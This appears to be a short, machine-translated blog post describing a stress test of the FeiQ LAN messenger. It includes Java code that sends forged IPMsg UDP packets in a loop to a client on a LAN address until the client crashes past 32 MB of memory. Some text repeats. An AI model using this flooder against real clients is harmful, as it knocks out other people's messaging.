あなたの飛秋を死なせます(UDP)
1155 ワード
飛秋:ローカルエリアネットワークインスタント通信
テストレベル:飛秋に大量の情報を送る
性能:占有メモリ限界32 M
信頼性:攻撃的な情報(非人為的に完了可能)がある場合は、クライアント情報を拒否する必要があります.
テクノロジーレベル:Javaコードを使用してメッセージを迅速に大量に送信(ループ、またはマルチスレッドを使用して、複数のマシンが一緒に送信)
Javaコード:
タスクマネージャを起動してリソース状況(CPU、メモリの使用状況)を監視し、飛秋の最大メモリ消費量は32 Mで、32 Mを超えるとクラッシュが発生することを発見した.
テストレベル:飛秋に大量の情報を送る
性能:占有メモリ限界32 M
信頼性:攻撃的な情報(非人為的に完了可能)がある場合は、クライアント情報を拒否する必要があります.
テクノロジーレベル:Javaコードを使用してメッセージを迅速に大量に送信(ループ、またはマルチスレッドを使用して、複数のマシンが一緒に送信)
Javaコード:
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
public class FeiqiuClientDemo {
public static void main(String[] args) throws IOException {
// TODO Auto-generated method stub
//java UDP
// ,
for(int i=0;i<50;i++){ // ,
String content="1_lbt4_10#32899#002481627512#0#0#0:1289671407:Administrator:MICROSO-697TGLD:288: , ";
//
//Java udp
byte[] sendBuf=content.getBytes("GBK");
DatagramSocket client=new DatagramSocket();
InetAddress addr=InetAddress.getByName("192.168.187.129");
int port=2425; //
DatagramPacket sendPacket=new DatagramPacket(sendBuf,sendBuf.length,addr,port);
client.send(sendPacket);
client.close();
}
}
}
何が飛秋を崩壊させたの?タスクマネージャを起動してリソース状況(CPU、メモリの使用状況)を監視し、飛秋の最大メモリ消費量は32 Mで、32 Mを超えるとクラッシュが発生することを発見した.